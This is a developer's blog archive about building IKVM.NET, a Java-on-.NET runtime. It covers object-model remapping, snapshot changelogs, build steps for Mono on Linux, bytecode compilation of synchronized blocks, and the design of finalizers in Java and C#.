BTW, I originally tried this by getting the public clone method on the array class, but oddly enough on the Sun JVM array types don't appear to have a public clone method (even though you can call it just fine!).

3/1/2004 10:59:33 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [4]

Sunday, February 29, 2004

Object Model Mapping

After suffering from coder's block (if that's the programmer's equivalent of writer's block) for weeks, I finally got started the past week on the new object model remapping infrastructure. I spent most of the week going in circles. Writing code, deleting it, writing more code, deleting it again. However, I think I figured it out now. To test that theory I decided to write a blog entry about it. Explaining something is usually a good way to find holes in your own understanding.

I'm going to start out by describing the problem. Then I'll look at the existing solution and it's limitations. Finally I'll explain the new approach I came up with. If everything goes well, by end the of the entry you'll be wondering "why did it take him so long to come up with this, it's obvious!". That means I came up with the right solution and I explained it well.

Note that I'm ignoring ghost interfaces in this entry. The current model will stay the same. For details, see the previous entries on ghost interfaces.

What are the goals?

  • We need a way to have the Java object model fit into the .NET model
  • We would like to enable full interoperability between the two models
  • Performance should be acceptable
  • Implementation shouldn't be overly complex

The .NET model (relevant types only):

For comparison, here is the Java model that we want to map to the .NET model:

There are several possible ways to go (I made up some random names):

  • Equivalence
    This is the current model. The Java classes are mapped to the equivalent .NET types. This works because System.Object has mostly the same virtual methods as java.lang.Object. For the java.lang.Throwable to System.Exception, a little more work is needed and that is where the java.lang.Throwable$VirtualMethods interface comes in. When a virtual method on Throwable is called through a System.Exception reference, the compiler calls a static helper method in Throwable$VirtualMethodsHelper that checks if the passed object implements the Throwable$VirtualMethods interface and if so, it calls the interface method, if not, it calls the Throwable implementation of the method (i.e. it considers the method not overridden by a subclass). A downside of using an interface for this is that all interface methods must be public, at the moment this isn't a problem because all virtual methods (except for clone and finalize derived from Object) in Throwable are public, but it could become a problem later on.
  • Extension
    This is a fairly straightforward approach where java.lang.Object extends System.Object and the Java array, String and Throwable classes are simply subclasses of java.lang.Object. It is easy to implement. The obvious downsides are that arrays will be slow (extra indirection), Strings need to be wrapped/unwrapped when doing interop with .NET code and Throwable is not a subclass of System.Exception (the CLI supports this, but once again not a good idea for interop).
  • Wrapping
    I apologise in advance, because I probably can't explain this one very well (because it doesn't make any sense to me). Many people have actually suggested this model. In the model java.lang.Object extends System.Object, but arrays, String and Throwable do not extend java.lang.Object, instead whenever an instance of those types is assigned to a java.lang.Object reference, it is wrapped in an instance of a special java.lang.Object wrapper class. The downside of this model is that wrapping and unwrapping is expensive and (and this is why I don't like this approach at all) that the expense is paid in ways that are very unexpected to the Java programmer (who expects simple assignment to be expensive?).
  • Mixed
    This is the new model. Explanation follows below.

What's wrong with equivalance?

Both J# and the current version of IKVM use equivalence (although many of the details differ and J# doesn't consider Throwable and System.Exception to be equivalent) and it works well. So why change it? There are four advantages to the mixed model:

  • Interop works better
    In the current model, if you subclass a Java class from C# and you want to override Object.equals, depending on whether any of the base classes overrides Object.equals you need tot override either Equals or equals. If you want to call Throwable.getStackTrace() from C# on a reference of type System.Exception there is no obvious way to do that.
  • More efficient representation of remapping model
    Currently every subclass of java.lang.Object overrides toString() to call ObjectHelper.toStringSpecial, this is needless code bloat. More importantly, before any classes can be resolved the map.xml remapping information needs to be parsed and interpreted (to know about java.lang.Object, java.lang.String and java.lang.Throwable). In the new model, java.lang.Object, java.lang.String and java.lang.Throwable will be in the classpath.dll, so they can be resolved on demand. The classes will be decorated with custom attributes to explain to the runtime that they are special, but no other metadata will need to be parsed or interpreted.
  • Cleaner model
    java.lang.ObjectHelper and java.lang.StringHelper no longer need to be public and the various $VirtualMethod helper types aren't needed anymore.
  • Easier to get right
    There are a few subtle bugs in the current implementation. Try the following for example:
    class ThrowableToString
    {
      public static void main(String[] args) throws Exception
      {
        String s = "cli.System.NotImplementedException";
        Object o = Class.forName(s).newInstance();
        Throwable t = (Throwable)o;
        System.out.println(o.toString());
        System.out.println(t.toString());
      }
    }
    
    It prints out:
    System.NotImplementedException: The method or operation is not implemented.
    cli.System.NotImplementedException: The method or operation is not implemented.
     

    Obvously, both lines should be the same. Another (at the moment theoretical) problem is that it is legal for code in the java.lang package to call Object.clone or Object.finalize (both methods are protected, but in Java, protected also implies package access), currently that wouldn't work.

Here is the mixed model I ended up with:

I called it mixed because it combines some features of equivalence and extension. For example, references of type java.lang.Object are still compiled as System.Object (like in the equivalence model), but the non-remapped Java classes extend java.lang.Object (like in the extension model).

java.lang.Object will contain all methods of the real java.lang.Object and in addition to those also a bunch of static helper methods that allow you to call java.lang.Object instance methods on System.Object references. The helper methods will test if the passed object is either a java.lang.Object or a java.lang.Throwable (for virtual methods) and if so, it will downcast and call the appropriate method on those classes, if not, it will perform an alternative action (that was specified in map.xml when this classpath.dll was compiled).

Object.finalize requires some special treatment since we don't want java.lang.Object.finalize to override System.Object.Finalize because that would cause all Java objects to end up on the finalizer queue and that's very inefficient. So the compiler will contain a rule to override System.Object.Finalize when a Java class overrides java.lang.Object.finalize.

I glossed over a lot of details, but those will have to wait for next time.

FOSDEM 2004

Finally a short note on FOSDEM (Free and Open Source Software Developer's Meeting). Last weekend I visisted FOSDEM in Brussels. I enjoyed seeing Dalibor, Chris, Mark, Sascha and Patrik again and I also enjoyed meeting gjc hackers Tom Tromey and Andrew Haley for the first time. Mark wrote up a nice report about it. If you haven't read it yet, go read it now. All in all a very good and productive get-together.

2/29/2004 3:43:01 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Wednesday, February 18, 2004

F.A.Q.

Stuart pointed out the F.A.Q. was out of date, so I updated it a little bit. He also asked:

Speaking of which, I noticed while perusing the FAQ that the JIT compiler is included in IK.VM.NET.dll which means it's required for running even statically-compiled code. For apps that don't use clever classloading tricks, the JIT isn't needed at all when everything's been statically compiled. Would it be possible to separate the JIT out into a different DLL to reduce the necessary dependencies for a statically-compiled Java app?

Sure, the 275K of IK.VM.NET.dll is miniscule compared to the 3Mb of classpath.dll, but it's the principle of the thing ;)

This is definitely something I want to do. In fact, I would also like to have the option to only include parts of the Classpath code when statically compiling a library. So instead of having a dependency on classpath.dll, you'd suck in only the required classes.

2/18/2004 9:36:11 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [4]

Monday, February 16, 2004

Jikes 1.19, Bytecode Bug, Serialization and a New Snapshot

 

Jikes

I upgraded to Jikes 1.19 that was released recently. It didn't like the netexp generated stub jars (which is good, because it turns out they were invalid), so I fixed netexp to be better behaved in what it emits. Jikes didn't like the fact that the inner interfaces that I created had the ACC_STATIC modifier set at the class level, rightly so, but the error message it came up with was very confusing. Along the way I also discovered that it is illegal for constructors to be marked native (kind of odd, I don't really see why you couldn't have a native constructor). So I made them non-native and have a simple method body that only contains a return. That isn't correct either (from the verifier's point of view) and I guess I should change it to throw an UnsatifiedLinkError. That would also be more clear in case anyone tries to run the stubs on a real JVM.

Jikes 1.19 has a bunch of new pedantic warnings (some enabled by default). I don't think this is a helpful feature at  the moment. Warnings are only useful if you can make sure you don't get any (by keeping your code clean), but when you already have an existing codebase, this is very hard and in the case of Classpath, where you have to implement a spec, you often don't have the option to do the right thing. So I would like to have to option to have lint like comment switches to disable specific warnings in a specific part of the code.

Bytecode Bug

I also did some work to reduce the number of failing Mauve testcases on IKVM and that caused me to discover that the bit shifting instructions were broken (oops!). On the JVM the shift count is always masked by the number of bits (-1) in the integral type you're shifting. So for example:

int i = 3;
System.out.println(i << 33);

This prints out 6 ( 3 << (33 & 31)). On the CLI, if the shift count is greater than the number of bits in the integral type, the result is undefined. I had to fix the bytecode compiler to explicitly do the mask operation.

Serialization

Brian J. Sletten reported on the mailing list that deserialization was extremely slow. That was caused by the fact that reflection didn't cache the member information for statically compiled Java classes or .NET types. I fixed that and after that I also made some improvements to GNU Classpath's ObjectInputStream to speed it up even more. It's still marginally slower than the Sun JRE, but the difference shouldn't cause any problems.

Snapshot

I made a new snapshot. Here's what's new:

  • Changed classpath.build to disable jikes warnings (I know it's lame, but I grew tired of the useless warnings). I also added the -noTypeInitWarning option to ikvmc, to get rid of all the warning about running type initializers.
  • Implemented accessibility checks for Java reflection.
  • Cleaned up socket code and implemented all of the socket options (well, except for IP_MULTICAST_IF2).
  • Implemented Get###ArrayRegion/Set###ArrayRegion and GetPrimitiveArrayCritical/SetPrimitiveArray JNI functions.
  • Added all the 1.4 functions to the JNIEnv vtable.
  • Implemented support for field name overloading (a single class can have several different fields with the same name, if the types are different).
  • Changed the class format errors thrown by ClassFile.cs to .NET exception, instead of Java exception, to have better error handling in ikvmc.
  • Changed VMClass.getWrapperFromClass to use a delegate instead of reflection, to speed up reflection.
  • Fixed the compiler to mask shift counts for ishl, lshl, iushr, lushr, ishr, lshr bytecodes.
  • Fixed a bug in ghost handling (the bug could cause a "System.NotSupportedException: The invoked member is not supported in a dynamic module." exception).
  • Added EmitCheckcast and EmitInstanceOf virtual functions to TypeWrapper.
  • Added a LazyTypeWrapper base class for DotNetTypeWrapper and CompiledTypeWrapper, to cache the member information to speed up reflection.
  • Improved error handling in ikvmc.
  • Fixed netexp to generate valid (or less invalid) classes.
  • Regenerated (and checked in) mscorlib.jar, System.jar and System.Xml.jar with the new (fixed) version of netexp.

I didn't get around yet to removing the "virtual helpers" and introducing base classes for non-final remapped types (java.lang.Object and java.lang.Throwable).

New snapshots: just the binaries and source plus binaries.

2/16/2004 4:33:14 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Sunday, January 11, 2004

New Snapshot

I made a new snapshot. Here's what's new:
  • Renamed Type property of TypeWrapper to TypeAsTBD. This is to make clear that eventually all references to TypeAsTBD should be removed (a more specific TypeAsXXX should be used).
  • Changed several InvalidOperationException tests to assertions.
  • Changed JavaAssemblyAttribute to JavaModuleAttribute. In the future this attribute will go away and be replaced by an attribute that is attached to each type. This is to support linking Java and non-Java types into the same (single file) assembly with the Whidbey linker.
  • Removed getTypeFromWrapper, getWrapperFromType, getType and getName from VMClass and added getWrapperFromClass.
  • Added TypeWrapper.RunClassInit.
  • Fixed serialization and reflection to be able to call constructor on already allocated objects.
  • Added class accessibility checks in various places.
  • Added EmitCheckCast and EmitInstanceOf to TypeWrapper.
  • Changed all .NET type names in map.xml to partially qualified names.
  • Added -target:module support to ikvmc.
  • Added assembly signing support to ikvmc.
  • Added option to set assembly version to ikvmc.
  • Fixed bug in ikvmc that caused crash if jar contained a manifest.
  • Inner class support for native methods that are mapped to NativeCode.* classes.
  • Miscellaneous clean up and restructuring.

Most of this is clean up and restructuring to facilitate the next major change, removing the "virtual helpers" and introducing base classes for non-final remapped types (java.lang.Object and java.lang.Throwable).

New snapshots: just the binaries and source plus binaries.

1/11/2004 2:23:27 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Saturday, December 27, 2003

dasBlog

I switched from blogX to dasBlog. Mainly because Chris is no longer maintaining blogX, but also because I wanted some new functionality.

Hopefully the transition will be smooth, but if something is not working please let me know.

12/27/2003 7:24:44 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

C# Shortcoming?

Tomas Restrepo posted some weird C# code on his weblog. It inspired me to test a few more corner cases:

namespace System {
   class Object { }
class ValueType { }


struct Int32 { }
class String { }
class A : string { public static void Main() { string s = new A(); } } }

If you compile this and then run peverify on the resulting executable, it will complain about every single type. Here is what's going on:

  • Object doesn't have a base class
  • ValueType extends our Object not the one in mscorlib
  • Int32 extends our ValueType
  • String extends our Object
  • A extends our String, but the local variable s is of type [mscorlib]System.String, so the assignment is not legal.

An obvious explanation for this (broken) behavior of the C# compiler is that Microsoft use the C# compiler to build mscorlib.dll. When compiling mscorlib.dll, the above behavior makes perfect sense. Of course, when you're not compiling mscorlib.dll, it doesn't make much sense and, in fact, it violates the language specification. For example, section 4.2.3 says:

       The keyword string is simply an alias for the predefined class System.String.

"predefined" being the important word here.

I guess it would be relatively easy to fix the compiler, but I think that there is actually an underlying problem: The C# language doesn't have support for assembly identities. Besides the above corner cases, this also causes problems in more real world situations.

12/27/2003 1:06:10 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Wednesday, December 24, 2003

Oops!

Last week's snapshot had a nasty bug. The code to copy the stack contents out of an exception block reversed the stack order. Not a good thing. A pretty stupid bug, but in my defense, this problem didn't show up with my Mauve tests compiled with Jikes. It only showed up on Eclipse (which I didn't have installed at the time). Thanks to Zoltan Varga for bringing this bug to my attention.

I've updated the snapshots. I also made some additional changes:

  • ikvmc now sniffs the name of the main class from the Jar manifest, if it exists.
  • Made loading of core Java classes used by the runtime more consistent. Introduced a new method ClassLoaderWrapper.LoadClassCritical and removed ClassLoaderWrapper.GetType (which had a similar but less well defined role).
  • Fixed some bugs related to -Xsave.
  • Introduced TypeWrapper.MakeArrayType to construct array types.
  • Added CodeEmitter.InternalError for emitters that should never be called (it throws an InvalidOperationException when its Emit method is called).
  • Cleaned up the warning message that shows up in netexp (and now also in ikvmc) that tells you that type initializers are being run when they shouldn't (due to a .NET runtime bug). The warning now only shows up if your .NET runtime has the bug.
  • Removed ThrowHack and changed the compiler to now always emit verifiably code when injecting exception throwing code (e.g. for illegal access errors).
  • Cleaned up JavaException.cs.
  • Changed MethodWrapper.GetExceptions to return string array and resolve these to classes on the Java side.
  • Fixed various bugs related to unloadable classes. The code generated to start up Eclipse is now totally verifiable (except for the JNI calls, of course).
  • Fixed reflection code to report assembly scoped methods and fields to be private when reporting on .NET assembly that was not generated by IKVM.NET.
  • Fixed TypeWrapper.IsInSamePackage to handle array types correctly.
  • Added a JVM.CriticalFailure method that is called when something is really wrong in the runtime (e.g. LoadClassCritical failed or an unexpected exception occurred in the bytecode compiler).
  • Added a JniProxyBuilder (for development and testing only) that splits out the JNI methods into a separate module, so that the peverify errors that are produced can be easily filtered out.
  • Reimplemented class accessibility checks in bytecode compiler (they've been broken for a long time, since I started adding support for unloadable classes).

New snapshots: just the binaries, source plus binaries and GNU Classpath.

12/24/2003 12:53:05 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Friday, December 19, 2003

Building IKVM.NET on Mono/Linux

I installed Debian 3.0r1 in VMware to work on getting IKVM.NET to build on Mono.

I put together a new snapshot, this time including a GNU Classpath snapshot, because of the compromise of the FSF CVS server my Classpath sources differ from what's available in CVS.

Here are the steps required to build IKVM.NET on Mono on Debian:

  • Download and extract Mono 0.29 runtime and C# compiler
  • Comment out the line
    [assembly: AssemblyKeyFile("..\\..\\bytefx.snk")]
    in mcs-0.29/class/ByteFX.Data/AssemblyInfo.cs.
  • Make the HasShutdownStarted property in mcs-0.29/class/corlib/System/Environment.cs static and change it to return false instead of throw a NotImplementedException.
  • cd mono-0.29
  • ./configure && make && make install
  • cd ../mcs-0.29
  • make && make install
  • Download and extract Jikes 1.18
  • cd jikes-1.18
  • ./configure && make && make install
  • Download NAnt 0.84-rc1
  • mkdir nant-0.84
  • cd nant-0.84
  • unzip ../nant-0.84.zip
  • Comment out the class constructor (static CompilerBase() { ... }) in src/NAnt.DotNet/Tasks/CompilerBase.cs.
  • make clean && make
  • Create a nant shell script in /usr/local/bin that contains:
    #!/bin/sh
    /usr/local/bin/mono /usr/local/src/nant-0.84/bin/NAnt.exe "$@"
  • Create a dummy peverify shell script, that contains:
    #!/bin/sh
  • Download and unzip classpath.zip (don't run any of the scripts)
  • Download and unzip ikvm.zip
  • cd ikvm
  • nant clean
  • nant

Note: I have not yet integrated Zoltan Varga's JNI provider for Mono and the (broken) Windows Forms based AWT is not built on Mono.

Here is what's new since the last snapshot:

  • Changed build process to work on Mono/Linux.
  • Added flag to bytecode metadata table to see if an instruction can throw an exception. The compiler can use this optimize away useless exception blocks.
  • Changed constant pool constant handling to stop boxing the values and use type based accessors instead.
  • Fixed handling of ConstantValue attribute (now works for static fields regardless of whether they are final are not).
  • Exception remapping is now defined in map.xml. This allows more efficient exception handlers, because the compiler now understand the exception hierarchy (including the constraints imposed by the remapping).
  • Changed handling of netexp exported classes to be more robust in the face of errors (on Mono some of the mscorlib.jar classes are not (yet) present in mscorlib.dll).
  • Fixed emitting of DebuggableAttribute (the attribute was attached to the module, but it should be attached to the assembly).
  • Moved most of ExceptionHelper.cs to ExceptionHelper.java and changed the runtime to generate the exception mapping method from map.xml.
  • Fixed some ghost related bugs.
  • Added a test to supress the type initializer bug warning (during netexp) on runtimes that are not broken.
  • Moved common conversion emit operations to TypeWrapper (EmitConvStackToParameterType & EmitConvParameterToStackType).
  • Added test in JavaTypeImpl.Finish to make sure that we are not in "phase 1" of static compilation. During phase 1, classes are being loaded and no compilation should occur, if it does get triggered it is because of a bug in the compiler or a compilation error during compilation of the bootstrap classes.
  • Changed loading of java.lang.Throwable$VirtualMethods so that the ClassNotFound warning doesn't occur any more.
  • Added (partial) support for private interface method implementations to reflection. This fixes a bug in netexp, that caused classes that use private interface implementation to be unusable from Java (because they appear abstract, because of the missing method).
  • Removed WeakHashtable.cs. Exception mapping code is now written in Java and uses java.util.WeakHashMap.
  • Removed StackTraceElement class from classpath.cs. Exception mapping code is now written in Java and uses the GNU Classpath StackTraceElement.java.
  • Moved java.lang.Runtime native methods to Java (except for getVersion and nativeLoad). This is based on a new split of java.lang.Runtime and java.lang.VMRuntime that hasn't been checked into Classpath yet.
  • Many changes to the bytecode compiler to emit more efficient (actually less inefficient) code for exception handlers.
  • Added workaround to bytecode compiler to Improve debugging line number information.
  • Various bug fixes and some clean up of bytecode compiler.
  • Made ikvmc more user-friendly. It now guesses all options based on the input. You can now do "ikvmc HelloWorld.class" and it will generate HelloWorld.exe (if HelloWorld.class has a main method, if not it will generate HelloWorld.dll).
  • Fixed DotNetProcess (that implement Runtime.exec) to handle environment variable duplicates properly.
  • Removed support for throwing arbitrary exceptions using Thread.stop(Throwable). You can now only throw arbitrary exceptions on the current thread or ThreadDeath exceptions on other threads.
  • Implemented shutdown hooks.
  • Changed ikvm.exe to use a more compatible way of finding the main method and to always run the static initializer of the main class (even if the main method is missing).
  • The ikvm -Xsave option is now implemented using a shutdown hook. This allows it to work even if the application terminates with System.exit().

New snapshots: just the binaries, source plus binaries and GNU Classpath.

12/19/2003 2:56:15 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Thursday, December 18, 2003

Asynchronous Exceptions

I've been working on some low hanging fruit optimizations for the code generator and I came across the following peculiar bytecode pattern used by Jikes to compile synchronized blocks:

   0  goto 6
   3  aload_1
   4  monitorexit
   5  athrow
   6  aload_0
   7  dup
   8  astore_1
   9  monitorenter
  10  aload_1
  11  monitorexit
  12  return
Exception table:
   start_pc = 3
   end_pc = 5
   handler_pc = 3
   catch_type = java/lang/Throwable
   start_pc = 10
   end_pc = 12
   handler_pc = 3
   catch_type = java/lang/Throwable

This code results from this method:

static void main(String[] args) {
  synchronized(args) {
  }
}

I was confused by the first entry in the exception table. It protects part of the exception handler and points to itself. Why would you do this?

Luckily, Jikes is open source, so I went and looked at the source code (see ByteCode::EmitSynchronizedStatement). The comment in the function explains that the additional protection of the exception handler is there to deal with asynchronous exceptions. The Jikes bug database contains a better explanation of the issue.

So, it turns out that this somewhat strange looking construct is actually a perfect way to make sure that locks are always released (and only once) even if an asynchronous exception occurs. (Note that this assumes that monitorexit is an atomic instruction, wrt asynchronous exceptions, this isn't in the JVM specification[1], but it is a reasonable assumption.)

At the moment, IKVM compiles this code as follows (pseudo code):

  object local = args;
  object exception = null;
  Monitor.Enter(local);
  try {
    // this is where the body of the synchronized block would be
    Monitor.Exit(local);
  } catch(System.Exception x) {
    exception = x;
    ExceptionHelper.MapExceptionFast(x);
    goto handler;
  }
  return;
handler:
  try {
    Monitor.Exit(local);
  } catch(System.Exception x) {
    exception = x;
    ExceptionHelper.MapExceptionFast(x);
    goto handler;
  }
  throw x;

This is obviously pretty inefficient, but more importantly, it is incorrect. If an asynchronous exception occurs at the right (or rather, wrong) moment the lock will be released twice.

The right way to compile this would be (pseudo code again):

  object local = args;
  Monitor.Enter(local);
  try {
    // this is where the body of the synchronized block would be
  } finally {
    Monitor.Exit(local);
  }

Of course, in the current version of the CLR, this still wouldn't be safe in the face of asynchronous exceptions, but Chris Brumme assures us that in future versions it will be.

BTW, an alternative way to compile it (which, presumably, would work correctly even in today's CLR), is to move the synchronized block into a new method that is marked with MethodImplOptions.Synchronized.

The tricky part of both of these solutions, is recognizing the code sequences that need to be compiled as a try finally clause. Various Java compilers can use different patterns (although a pretty firm clue is provided by the two exception blocks that must end exactly after the monitorexit instruction).

This is one situation where compiling bytecode instead of Java source, makes it a lot harder to do the right thing.

[1] The JVM specification actually contains an incorrect example of how to compile a synchronized block. Not only does this example not use the above protection against asynchronous exceptions, it also doesn't protect the aload_2 and monitorexit instructions at offset 8 and 9.

12/18/2003 11:33:18 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Friday, December 12, 2003

ThinkPad

(This entry is totally unrelated to IKVM.NET)

Last week I got my new ThinkPad T41p and it has a cool feature, a built-in accelerometer. It is used to park the harddisk when the system detects shocks or falls down ("IBM Hard Drive Active Protection System").

I reverse engineered one of the IOCTLs that can be used to read the accelerometer data and built a simple C# application that displays an artificial horizon. It includes a simple reusable class that encapsulates the communication with the device driver (the standard IBM device driver).

Source can be found here.

Not very useful, but fun stuff anyway. In Longhorn this could be used to keep the desktop level :-)

12/12/2003 2:10:43 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [13]

Monday, December 01, 2003

Finalization and the JIT

One of the subtle differences between the JVM bytecode instruction set and the CLR instructin set is that the JVM splits object instantiation in two steps: 1) allocation and 2) initialization. The CLR combines both steps in a single instruction.

This usually isn't a big difference. The CLR way makes the verifier a little easier because it doesn't need to keep track of uninitialized references. However, in the face of finalization, the difference is actually detectable.

Here is a Java example:

class foo {
  static int throwException() {
    throw new Error();
  }

  foo(int i) {
  }

  public static void main(String[] args) {
    try {
      new foo(throwException());
    } catch(Error x) {
      System.gc();
      System.runFinalization();
      throw x;
    }
  }

  protected void finalize() {
    System.out.println("finalize");
  }
}

When this class is run, it prints "finalizable" and a stack trace. Looking at the bytecode of the main method, it is obvious why:

   0  new foo
   3  invokestatic <Method foo throwException()I>
   6  invokespecial <Method foo <init>(I)V>
   9  goto 21
  12  astore_1
  13  invokestatic <Method java/lang/System gc()V>
  16  invokestatic <Method java/lang/System runFinalization()V>
  19  aload_1
  20  athrow
  21  return

The first instruction is a new that allocates the foo instance. Even if the following call to throwException throws an exception, the foo instance already exists and will be finalized.

Here is the (approximately) corresponding C# code:

class Foo {
  Foo(int i) {
  }

  ~Foo() {
    System.Console.WriteLine("Finalize");
  }

  static int ThrowException() {
    throw new System.Exception();
  }

  static void Main() {
    try {
      new Foo(ThrowException());
    } catch(System.Exception x) {
      System.Console.WriteLine(x);
    }
  }
}

When this code is run, the output should be just the stack trace, but it turns out that it will also print "Finalize" (on .NET, not on Mono). This is a bug in the .NET JIT. It moves the object allocation up to be able to more efficiently construct the call stack for the constructor invocation, but in doing so it subtly changes the semantics. When the above code is compiled with debugging enabled, it works as expected.

12/1/2003 9:17:03 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Sunday, November 23, 2003

More On Finalization

After posting my previous entry about C# destructors, I came up with a better implementation of them.

What if, instead of depending on the derived class to be well behaved we could enforce that the base class destructor is always called?

It turns out that this is possible, thanks to the extremely powerful capabilities the CLR has for dealing with methods.

Here is an example C# class:

  class Foo {
    ~Foo() {
      // release unmanaged resource
    }
  } 

The current C# compiler compiles this as:

  class Foo {
    protected void Finalize() {
      try {
        // release unmanaged resource
      } finally {
        base.Finalize();
      }
    }
  }

As I pointed out in my previous entry, the problem with this construct is that it depends on any derived class to have a similar Finalize method (that ensures the base class Finalize gets called). However, not all languages have such a feature built-in like C#. For example, in VB.NET it is trivial (and an easy mistake to make) to override Finalize and to forget to call the base class implementation.

It occurred to me that you could also compile the example class as follows (pseudo code):

class Foo {
  private void .dtor() overrides Object.Finalize {
    try {
      Finalize();
    } finally {
      // release unmanaged resource
    }
  }
  protected new virtual void Finalize() {
  }
}

Note that this uses the CLR's ability to override a method even though the method name is different and the ability to introduce a new virtual method with the same name, but a different vtable slot.

Now, you don't rely on the derived class to have a correct Finalize method, because even if the derived class' Finalize method doesn't call the base class method, the finally block in .dtor will still run.

For a few minutes I was happy with myself for coming up with this clever trick, but I soon realized that while it was a little better, it still did nothing to prevent malicious code from calling Thread.Sleep() in their overridden Finalize method.

It turns out that there is an even bigger problem with this solution, though. The current design guidelines for cleaning up unmanaged resources actually suggest that you call a virtual method from your destructor that does the actual cleanup. This, of course, reintroduces the problem that the derived class can override that method and not call the base class.

In summary, it's a big mess. My original (Java) suggestions for writing a safe class that wraps an unmanaged resource are here and they apply to .NET classes in the same way. My suggestions to Microsoft are:

  • Fix the guidelines. Managed and unmanaged cleanup are two very different things and should not be mixed. Also, add a rule not to call any virtual methods from a Finalize method.
  • Make overriding Object.Finalize require full trust. There is no need for a finalizer unless you are wrapping an unmanaged resource and only fully trusted code can do that.
  • Change the C# compiler to make the Finalize method generated for the destructor sealed by default.

These are all compatibility breaking changes, so they are probably not going to happen. Resource leaks and denial of service attacks are not on the agenda for the mainstream CLR. It's interesting to note that Yukon apparantly prohibits untrusted code from overriding the Finalize method, I wonder how they'll deal with the dispose pattern.

11/23/2003 3:48:06 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, November 17, 2003

C# Destructor Considered Harmful

After last week's Java finalization bashing, it turns out that C# is even more broken.

A C# Destructor Cannot Be Sealed

This is really bad! If you recall my example of a proper class that uses finalization correctly, you might remember that the class was final. I still  highly recommend this, but in some scenarios it might be preferable to allow others to extend your class. In such cases it is highly recommended that you make your finalize method final. Otherwise the subclasser might override finalize and forget to call your finalize method.

If you wrap an unmanaged resource and your class is non-final and it is exposed to untrusted code, you must make your finalize method final.

If you don't, the untrusted code can (intentionally or not) create a subclass of your class, override finalize (not call super.finalize()) and start leaking unmanaged resources that will never be cleaned up as long as the JVM is running.

Back To C#

To see why the C# design is a problem, we only need to look at System.WeakReference. It is a public non-sealed class that wraps an unmanaged resource (a GCHandle), the destructor is obviously not sealed and it does not require any privileges to use, this equals a recipe for disaster. Untrusted code can leak GCHandles that will never be reclaimed as long as the CLR is running [1]. Not even when the AppDomain is unloaded!

IMO, the destructor syntax should be deprecated and Finalize should be treated like any other method. This current design is hardly a pit of success.

[1] While the C# destructor is nice enough to always call the base class Finalize method, other languages (e.g. ILASM or VB.NET) don't require this.

11/17/2003 2:19:49 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [10]

New Snapshot

As usual it took a mighty long time, but I finally managed to check in my changes and create a new snapshot.

Here is what's new:

  • Support for @deprecated attribute in ikvmc. Compiled as System.ObsoleteAttribute (IsError = false).
  • Support for declared exceptions. Reflection (Method.getExceptionTypes) will now return all declared exceptions that the method throws. C# (or VB.NET or whatever) code can use the OpenSystem.Java.ThrowsAttribute attribute to declare exceptions.
  • Changed value type handling to treat null reference as default instance when unboxing (instead of throwing an unexpected NullPointerException). Added (experimental) support for customized boxing in map.xml.
  • Remapped types can now have constant (non-blank static final) fields.
  • java.lang.String and java.lang.Throwable now have the correct serialVersionUID.
  • Fixed a bug (introduced with the ghost interfaces change) that caused virtual call to Object.clone() to fail with a CloneNotSupportedException.
  • Changed static initializer support to use a special field (__<clinit>) in the base class to trigger the base class static initializer to run (instead of using RuntimeHelpers.RunClassConstructor). This should make static initialization a little faster.
  • Changed "managed JNI" method lookup to support overloading.
  • Made all introduced methods in ghost wrappers HideFromReflection.
  • Re-enabled the warning for missing native methods on static compilation.
  • Fixed reflection on .NET types to hide static methods on interfaces (Java doesn't allow them).
  • Added dummy "native" methods for unused methods in java.lang.reflect.Proxy (to avoid warnings from ikvmc when compiling classpath.dll).
  • Fixed InetAddress.getLocalHostname() method name typo.
  • Added skeleton implementation of "native" methods for java.nio.channels.FileChannelImpl.
  • Changed DupHelper in compiler to support "unitialized this" references.
  • Changed compiler to emit ldc_i4_0 / conv_i8 instead of ldc_8 0 and various similar (small) optimizations.
  • Added support for declaring exceptions on methods of remapped types and added appropriate declaration to map.xml.
  • Added experimental remapping of gnu.classpath.RawData to System.IntPtr and custom boxing operator for gnu.classpath.RawData to box IntPtr.Zero to a null reference.
  • Added support for ldnull and box opcodes to remapping instruction set.
  • Added optional constant attribute to field element of remapping xml.
  • Added ikvm\classpath\java\lang\ref\Reference.java (copied from GNU Classpath and modified to implement (most of) the required functionality).
  • Added exclusion list to compilation of classpath.dll to remove unused classes (VMObject, VMString and VMThrowable).
  • Fixed netexp to create classes for non-public base classes.
  • Fixed netexp to export the interfaces a class implements.
  • Fixed netexp to export declared exceptions.
  • Some refactoring and a few small other changes.

I used Stuart's excellent japitools to test the remapping, reflection and round-tripping and found a lot of bugs this way. I ran japize on a  classpath.jar generated by netexp from classpath.dll. This way, the whole tool chain is tested (ikvmc -> reflection -> netexp).

Note that @deprecated doesn't round-trip, because Java reflection doesn't expose the fact that something is deprecated.

The full patch is here (excluding the new files, Reference.java and exclude.lst).

Updated binary and source snapshots are available.

11/17/2003 1:04:39 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Saturday, November 15, 2003

Weak References

I finally implemented (partial) support for weak references. Java has three types of weak references:

Only WeakReference is implemented 100% correctly (barring any bugs), but I'm pretty sure that the difference between the IKVM and JVM implementations of PhantomReference is undetectable. SoftReference is currently implemented as a WeakReference, this means that they will be cleared too soon and this could adversly affect performance of caches that depend on SoftReference.

ReferenceQueue

ReferenceQueue is fully supported, but it isn't very efficient. Every Reference instance that is associated with a queue has a corresponding object that watches for GC activity (by having a finalize method and being unreachable), each time the finalizer runs it checks the associated Reference to see if it has been cleared, if it has the Reference is inserted into the ReferenceQueue, if it hasn't, a new watcher object instance is created.

PhantomReference

The difference between the IKVM and JVM PhantomReference is that the IKVM implementation doesn't actually prevent the object from being collected, but since you cannot possibly get a reference to a phantom reachable object (apart from using non-portable reflection hacks), I don't understand the point of the specified behavior for PhantomReference.

Source

